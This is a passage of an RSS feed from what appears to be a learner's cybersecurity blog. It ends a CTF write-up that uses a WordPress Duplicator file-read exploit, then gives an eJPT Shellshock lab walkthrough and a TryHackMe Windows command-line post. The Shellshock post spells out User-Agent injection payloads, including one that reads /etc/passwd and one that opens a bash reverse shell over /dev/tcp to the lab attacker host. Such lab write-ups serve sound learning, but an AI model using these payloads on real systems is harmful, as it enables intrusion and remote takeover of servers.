src="https://cdn-images-1.medium.com/max/395/1*2I7xyRB5sOeDpgNQvJZUUg.png" /></figure><p><strong>Port: 80 (HTTP)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*D23LRdHJHLdMJYcXlovJXA.png" /></figure><p><strong>Findings:</strong></p><p>Everything I navigated into looks like fillers, the WPScan however looks promising. Which we’ll see on the Exploitation phase.</p><p><strong>PHASE 3: Exploitation</strong></p><p><strong>Vulnerability Assessment:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*5oZSwYrPRsouAw1gLgth-g.png" /><figcaption><em>We’ll now check if any of these plugins have vulnerabilities we can use to get flag3.txt from the root directory.</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o9XqOs4k_kBvOZVgCT06Cg.png" /></figure><p><em>We’ll use Wordpress Plugin Duplicator 1.3.26 — Unauthenticated Arbitrary File Read</em></p><p><em>Why you say?</em></p><p><em>I think just by reading files we can extract enough information, plus the course really haven’t taught anything about web YET, so I really have no idea how to execute those. xdd!</em></p><p><strong>Exploitation:</strong></p><p><strong>Copying <em>Wordpress Plugin Duplicator 1.3.26 </em>50420.py to current directory:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*iErVrhluoR25cUR6u7ROrw.png" /></figure><p><strong>Checking the python script:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*ciLPskogGoHZrtn3m4MZpg.png" /><figcaption><em>Nothing really to edit here, good thing the usage is there so I did not have to really go deep to know how to use it.</em></figcaption></figure><p>How does this work?</p><p><em>“Usage: CVE-2020–11738.py </em><a href="http://192.168.168.167/"><em>http://192.168.168.167</em></a><em> /etc/passwd”</em></p><p><em>So this takes 2 arguments, host(sys.argv[1]) and /path/to/file/file.extension(sys.argv[2])</em></p><p><em>URL = arg + “/wp-admin/admin-ajax.php?action=duplicator_download&amp;file=../../../../../../../../..” + file</em></p><p><em>This is using </em><a href="https://owasp.org/www-community/attacks/Path_Traversal"><em>https://owasp.org/www-community/attacks/Path_Traversal</em></a><em> and stores it in </em><strong><em>output variable.</em></strong><em> Then prints it through print(output.text), really can’t explain it any further than that.</em></p><p><strong>PHASE 4: Post-Exploitation</strong></p><p><strong>Trying out the script:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*YIoPfP1UVXlWG4Ef9HcKrg.png" /><figcaption><em>We found Flag 4 clue before Flag 3 answer, getting there.</em></figcaption></figure><p><strong>Getting Flag 3:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*ix7yMTJJ-gmXMS4VGFpFLA.png" /></figure><p><strong>Getting Flag 4:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*kYN4NB8et9WMDXm0d8vy6Q.png" /><figcaption><em>Do note that flag 4 stated that “</em>Further, identify and compromise a system user requiring no authentication on <strong>target2.ine.local</strong>.” <em>So I just fully assumed this has no password, and it really didn’t have password.</em></figcaption></figure><p><strong>— — End of Target 2</strong></p><p><em>That’s the end of this CTF. I had fun using tools I’ve never used before by just googling them. Would they come handy any time soon? Who knows. See you on the next interesting CTF I guess.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7124e454e5cf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT Lab: Shellshock]]></title>
            <link>https://medium.com/@psalmendozo09/ejpt-lab-shellshock-f928cb53d607?source=rss-9f85b2bafaf5------2</link>
            <guid isPermaLink="false">https://medium.com/p/f928cb53d607</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ejpt]]></category>
            <dc:creator><![CDATA[Psalm Endozo]]></dc:creator>
            <pubDate>Mon, 04 Aug 2025 19:14:50 GMT</pubDate>
            <atom:updated>2025-08-04T19:14:50.214Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Lab Introduction:</strong></p><p><em>OWASP Top 10 is an awareness document that outlines the most critical security risks to web applications. Pentesting is performed according to the OWASP TOP 10 standard to reduce or mitigate security risks.</em></p><p><em>In this lab, we will focus on OWASP A9 Using Components with Known Vulnerabilities flaws, and we will perform an attack against a web server that is vulnerable to CVE-2014–6271.</em></p><p><em>In this lab environment, you will be provided with GUI access to a Kali machine. The target machine will be accessible at demo.ine.local.</em></p><p><em>Objective: Exploit the vulnerability and execute arbitrary commands on the target machine.</em></p><p><strong><em>Tools Used:</em></strong></p><p><em>Nmap, BurpSuite, Metasploit Framework, Netcat, dirsearch</em></p><p>— — — — — — — — — — — — — — — — — — — — — — —</p><p><strong>Info gathered:</strong></p><p><strong>Host Name: demo.ine.local</strong></p><p><strong>Host IP: 192.128.248.3</strong></p><p><strong>OS: Unix</strong></p><p><strong>Open Ports:</strong></p><p><strong>80/tcp Apache httpd 2.4.6 ((Unix))</strong></p><p><strong>cgi script /gettime.cgi</strong></p><p><strong>— — — Recon (Short, target was given)</strong></p><p><em>Start with Recon:</em></p><p><em>Checking if host is alive.</em></p><p><em>┌──(root㉿INE)-[~]</em></p><p><em>└─# ping -c 3 demo.ine.local</em></p><p><em>PING demo.ine.local (192.128.248.3) 56(84) bytes of data.</em></p><p><em>64 bytes from demo.ine.local (192.128.248.3): icmp_seq=1 ttl=64 time=0.095 ms</em></p><p><em>64 bytes from demo.ine.local (192.128.248.3): icmp_seq=2 ttl=64 time=0.060 ms</em></p><p><em>64 bytes from demo.ine.local (192.128.248.3): icmp_seq=3 ttl=64 time=0.062 ms</em></p><p><em>Host is alive.</em></p><p><strong>— — — — Port Scanning / Version Detection / OS Detection</strong></p><p><strong>Lab Introduction says, “we will perform an attack against a web server”</strong></p><p><em>└─# nmap -Pn -sV -T5 -p- demo.ine.local</em></p><p><em>Starting Nmap 7.94SVN ( </em><a href="https://nmap.org/"><em>https://nmap.org</em></a><em> ) at 2025–08–05 00:09 IST</em></p><p><em>Nmap scan report for demo.ine.local (192.128.248.3)</em></p><p><em>Host is up (0.000024s latency).</em></p><p><em>Not shown: 65534 closed tcp ports (reset)</em></p><p><em>PORT STATE SERVICE VERSION</em></p><p><em>80/tcp open http Apache httpd 2.4.6 ((Unix))</em></p><p><em>MAC Address: 02:42:C0:80:F8:03 (Unknown)</em></p><p><em>Port scanning done, looks like there’s only one open port. As for the OS it’s Unix, need to dive deeper for the distro tho, but this lab again is about Shellshock.</em></p><p><em>We will now move on to Enumeration.</em></p><p><strong>— — — — Enumeration</strong></p><p><em>We are looking for .cgi / .sh extensions, since this lab is about Shellshock.</em></p><p><em>dirsearch -u 192.128.248.3</em></p><p><em>Lots of results, but we have no authentication to check.</em></p><p><em>We will now check the website manually.</em></p><p><em>└─# curl </em><a href="http://192.128.248.3/"><em>http://192.128.248.3</em></a></p><p><em>&lt;!DOCTYPE html&gt;</em></p><p><em>&lt;html&gt;</em></p><p><em>&lt;head&gt;</em></p><p><em>&lt;style&gt;</em></p><p><em>body {</em></p><p><em>background-image: url(https://medium.com/%E2%80%98static/images/background.jpg%E2%80%99);</em></p><p><em>background-repeat: no-repeat;</em></p><p><em>background-attachment: fixed;</em></p><p><em>background-position: center;</em></p><p><em>}</em></p><p><em>&lt;/style&gt;</em></p><p><em>&lt;script&gt;</em></p><p><em>setInterval(function() {</em></p><p><em>var xhttp = new XMLHttpRequest();</em></p><p><em>xhttp.onreadystatechange = function() {</em></p><p><em>if (this.readyState == 4 &amp;&amp; this.status == 200) {</em></p><p><em>document.getElementById(“output”).innerHTML = this.responseText;</em></p><p><em>}</em></p><p><em>};</em></p><p><em>xhttp.open(“GET”, “/gettime.cgi”, true);</em></p><p><em>xhttp.send();</em></p><p><em>}, 1000);</em></p><p><em>&lt;/script&gt;</em></p><p><em>&lt;/head&gt;</em></p><p><em>&lt;body&gt;</em></p><p><em>&lt;div style=”position:fixed;top:67%;left:40%” id=”output” &gt;&lt;/div&gt;</em></p><p><em>&lt;/body&gt;</em></p><p><em>&lt;/html&gt;</em></p><p><em>Seems like there’s a /gettime.cgi (Shellshock angle)</em></p><p><em>Going to fire up Firefox and see what’s happening in the GUI.</em></p><p><em>It seems like gettime.cgi is being used to update the clock.</em></p><p><a href="http://192.128.248.3/gettime.cgi"><em>http://192.128.248.3/gettime.cgi</em></a></p><p><strong>— — — — Exploitation</strong></p><p><em>We will now use Burpsuite to do RCE, and get reverse shell.</em></p><p><em>Turn on Burp proxy on browser, move to proxy -&gt; intercept on</em></p><p><em>Refresh browser, send the request to Repeater.</em></p><p><em>We will be injecting User-Agent with the string combination used to exploit shellshock.</em></p><p><em>User-Agent: () { :; }; echo; echo; /bin/bash -c ‘cat /etc/passwd’</em></p><p><em>Upon injecting this to User-Agent, we got this response.</em></p><p><em>HTTP/1.1 200 OK</em></p><p><em>Date: Mon, 04 Aug 2025 18:49:40 GMT</em></p><p><em>Server: Apache/2.4.6 (Unix)</em></p><p><em>Keep-Alive: timeout=5, max=100</em></p><p><em>Connection: Keep-Alive</em></p><p><em>Content-Length: 957</em></p><p><em>root:x:0:0:root:/root:/bin/bash</em></p><p><em>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin</em></p><p><em>bin:x:2:2:bin:/bin:/usr/sbin/nologin</em></p><p><em>sys:x:3:3:sys:/dev:/usr/sbin/nologin</em></p><p><em>sync:x:4:65534:sync:/bin:/bin/sync</em></p><p><em>games:x:5:60:games:/usr/games:/usr/sbin/nologin</em></p><p><em>man:x:6:12:man:/var/cache/man:/usr/sbin/nologin</em></p><p><em>lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin</em></p><p><em>mail:x:8:8:mail:/var/mail:/usr/sbin/nologin</em></p><p><em>news:x:9:9:news:/var/spool/news:/usr/sbin/nologin</em></p><p><em>uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin</em></p><p><em>proxy:x:13:13:proxy:/bin:/usr/sbin/nologin</em></p><p><em>www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin</em></p><p><em>backup:x:34:34:backup:/var/backups:/usr/sbin/nologin</em></p><p><em>list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin</em></p><p><em>irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin</em></p><p><em>gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin</em></p><p><em>nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin</em></p><p><em>libuuid:x:100:101::/var/lib/libuuid:</em></p><p><em>syslog:x:101:104::/home/syslog:/bin/false</em></p><p><em>Seems like it’s working. Let’s move forward to getting a reverse shell.</em></p><p><em>Injecting this payload to User-Agent: () { :; }; echo; echo; /bin/bash -c ‘bash -i&gt;&amp;/dev/tcp/192.128.248.2/1234 0&gt;&amp;1’</em></p><p><em>We get no response, but let’s check our listener.</em></p><p><em>┌──(root㉿INE)-[~]</em></p><p><em>└─# nc -nvlp 1234</em></p><p><em>listening on [any] 1234 …</em></p><p><em>connect to [192.128.248.2] from (UNKNOWN) [192.128.248.3] 59454</em></p><p><em>bash: cannot set terminal process group (17): Inappropriate ioctl for device</em></p><p><em>bash: no job control in this shell</em></p><p><em>daemon@demo:/opt/apache/htdocs$</em></p><p><em>We have daemon access now. With that we have exploited ‘Shellshock’ to gain privileged access/do RCE!</em></p><p><em>We could also do this the easy way with Metasploit Framework to get meterpreter session.</em></p><p><em>We will use this module: exploit/multi/http/apache_mod_cgi_bash_env_exec</em></p><p><em>RPORT = Ok</em></p><p><em>msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) &gt; set LHOST 192.128.248.2</em></p><p><em>LHOST =&gt; 192.128.248.2</em></p><p><em>msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) &gt; set RHOSTS 192.128.248.3</em></p><p><em>RHOSTS =&gt; 192.128.248.3</em></p><p><em>msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) &gt; set TARGETURI /gettime.cgi</em></p><p><em>TARGETURI =&gt; /gettime.cgi</em></p><p><em>msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) &gt; run</em></p><p><em>[*] Started reverse TCP handler on 192.128.248.2:4444</em></p><p><em>[*] Command Stager progress — 100.00% done (1092/1092 bytes)</em></p><p><em>[*] Sending stage (1017704 bytes) to 192.128.248.3</em></p><p><em>[*] Meterpreter session 1 opened (192.128.248.2:4444 -&gt; 192.128.248.3:48306) at 2025–08–05 00:26:58 +0530</em></p><p><em>meterpreter &gt;</em></p><p><em>There’s actually a secret folder inside the machine, remember when we enumerated directories?</em></p><p><strong><em>“ dirsearch -u 192.128.248.3, Lots of results, but we have no authentication to check.”</em></strong></p><p><em>I entered some of the folders and managed to find a secret folder in /static/</em></p><p><em>Let’s see what’s inside.</em></p><p><em>192.128.248.3/static/images/myS3cr3tf0lder/1.png</em></p><p><em>It’s a cool image of ATTACK DEFENSE. Wish I could screenshot inside labs :p</em></p><p><em>This is it for this lab, listening to the instructor helps I guess.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f928cb53d607" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THM: Cyber Security 101 — Windows Command Line]]></title>
            <link>https://medium.com/@psalmendozo09/thm-cyber-security-101-windows-command-line-c85004c0253d?source=rss-9f85b2bafaf5------2</link>
            <guid isPermaLink="false">https://medium.com/p/c85004c0253d</guid>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Psalm Endozo]]></dc:creator>
            <pubDate>Tue, 22 Jul 2025 07:56:00 GMT</pubDate>
            <atom:updated>2025-07-22T07:58:18.789Z</atom:updated>
            <content:encoded><![CDATA[<h3>THM: Cyber Security 101 — Windows Command Line</h3><p>Going to be documenting how I go through each task in <a href="https://tryhackme.com/room/windowscommandline">https://tryhackme.com/room/windowscommandline</a></p><p><strong>Task 1: Introduction</strong></p><p><strong><em>Summary:</em></strong></p><p>Advantages of CLI compared to GUI, Pros of CLI, objective of the room was declared here.<br>In this task, I was instructed to establish an SSH Connection from the AttackBox (scrolling up, there’s an Start AttackBox button), and the credentials were given inside.</p><p><strong><em>Task Question(s):</em></strong></p><p>What is the default command line interpreter in the Windows environment?</p><p>— cmd.exe</p><p><strong><em>How I arrived at that answer:</em></strong></p><p>Googled ‘interpreter’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/477/1*_VIX-43BmimZ2CG8V3EBSQ.png" /></figure><p>Asked myself, what interprets commands in Windows? Arrived at the simple answer ‘cmd.exe’.</p><p><strong>Task 2: Basic System Information</strong></p><p><strong><em>Summary:</em></strong></p><p>Inside the room, commands to display system information were given namely:</p><p>set / ver / systeminfo / driverquery</p><p>Also taught the command more (ex. driverquery | more) to display large information piece by piece.</p><p><strong><em>Task Question(s):</em></strong></p><p>What is the OS version of the Windows VM?</p><p>— 10.0.20348.2655</p><p><strong><em>How I arrived at that answer:</em></strong></p><p>‘ver’ command was taught, It just outputs the windows version of the machine you’re using.</p><p>What is the hostname of the Windows VM?</p><p>— WINSRV2022-CORE</p><p><strong><em>How I arrived at that answer:</em></strong></p><p>‘systeminfo’ command was taught, Host Name is displayed there.</p><p><strong>Task 3: Network Troubleshooting</strong></p><p><strong><em>Summary:</em></strong></p><p>Basic network commands were taught in this task namely:</p><p>ipconfig, ping, tracert, nslookup, and netstat.</p><p><strong><em>Task Question(s):</em></strong></p><p>Which command can we use to look up the server’s physical address (MAC address)?</p><p>— ipconfig /all</p><p><strong><em>How I arrived at that answer:</em></strong></p><p>It is displayed there, as ‘Physical Address’</p><p>What is the name of the process listening on port 3389?</p><p>— TermService</p><p><strong><em>How I arrived at that answer:</em></strong></p><p>Used the command netstat -ab which displays connections and listening ports, along with the executables involved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*qm4V9mv-3HHfa3OFUoKlZQ.png" /></figure><p>What is the subnet mask?</p><p>— 255.255.0.0</p><p><strong><em>How I arrived at that answer:</em></strong></p><p>It is shown when you use ipconfig command.</p><p><strong>Task 4: File and Disk Management</strong></p><p><strong><em>Summary:</em></strong></p><p>Basic file/directory commands usage are taught here, it helped me navigate through directories/file in Windows CLI.</p><p><strong><em>Task Question(s):</em></strong></p><p>What are the file’s contents in C:\Treasure\Hunt?</p><p>— THM{CLI_POWER}</p><p><strong><em>How I arrived at that answer:</em></strong></p><p>Since I’m currently in C:/Users/user directory, I used ‘cd ..’ twice to go up to just C:/ directory, after that I cd’ed into Treasure (cd Treasure), then went down to Hunt (cd Hunt), I’m now in C:/Treasure/Hunt, used ‘dir’ command to display files inside C:/Treasure/Hunt, found a ‘flag.txt’ file. Used type command (type flag.txt | more , just in case it has alot of content) and found our flag <strong>THM{CLI_POWER}</strong></p><p><strong>Task 5: Task and Process Management</strong></p><p><strong><em>Summary:</em></strong></p><p>Good ol’ Task Manager in a Command-Line interface is the perfect summary here.</p><p><strong><em>Task Question(s):</em></strong></p><p>What command would you use to find the running processes related to notepad.exe?</p><p>— tasklist /FI “imagename eq notepad.exe”</p><p><strong><em>How I arrived at that answer:</em></strong></p><p>tasklist /FI was given as an example, took a look at tasklist /?, found out FI means filter, imagename I just assumed is the process name, and operator ‘eq’ is equal (meaning if processName = ‘notepad.exe’, display contents something like that)</p><p>What command can you use to kill the process with PID 1516?</p><p>— taskkill /PID 1516</p><p><strong><em>How I arrived at that answer:</em></strong></p><p>This again was given as an example on top, just replicated it. Usually I use taskkill /F /PID ‘target_pid’ on my machine when even the task manager is bussin’.</p><p><strong>Task 6: Conclusion</strong></p><p><strong><em>Summary:</em></strong></p><p>Just a briefing on what was in this room. And a few more useful commands like chkdsk, driverquery, and sfc.</p><p><strong><em>Task Question(s):</em></strong></p><p>The command shutdown /s can shut down a system. What is the command you can use to restart a system?</p><p>— shutdown /r</p><p><strong><em>How I arrived at that answer:</em></strong></p><p>In the Hint button, the hint was ‘shutdown /?’, typed it in, there was a list of params and I just saw /r means a full shutdown + restart, it fitted.</p><p>What command can you use to abort a scheduled system shutdown?</p><p>— shutdown /a</p><p><strong><em>How I arrived at that answer:</em></strong></p><p>Just found it too in the ‘shutdown /?’ command.</p><p>Welp, this was a long write-up, I don’t know if it helps or not but hopefully it does. See you around.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c85004c0253d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Finished Pre Security Learning Path 7/21/2025]]></title>
            <link>https://medium.com/@psalmendozo09/finished-pre-security-learning-path-7-21-2025-651f0b4e746c?source=rss-9f85b2bafaf5------2</link>
            <guid isPermaLink="false">https://medium.com/p/651f0b4e746c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Psalm Endozo]]></dc:creator>
            <pubDate>Mon, 21 Jul 2025 14:51:07 GMT</pubDate>
            <atom:updated>2025-07-21T14:59:08.107Z</atom:updated>
            <content:encoded><![CDATA[<p>Trying to get into Cybersecurity with my friends, and with help of an experienced mentor. So far so good, got my first certificate from TryHackMe after a day of learning path. Feels good honestly. Alot more in-front of me, just celebrating small things for now.</p><p><a href="https://tryhackme-certificates.s3-eu-west-1.amazonaws.com/THM-02I64A9TMZ.pdf">https://tryhackme-certificates.s3-eu-west-1.amazonaws.com/THM-02I64A9TMZ.pdf</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=651f0b4e746c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>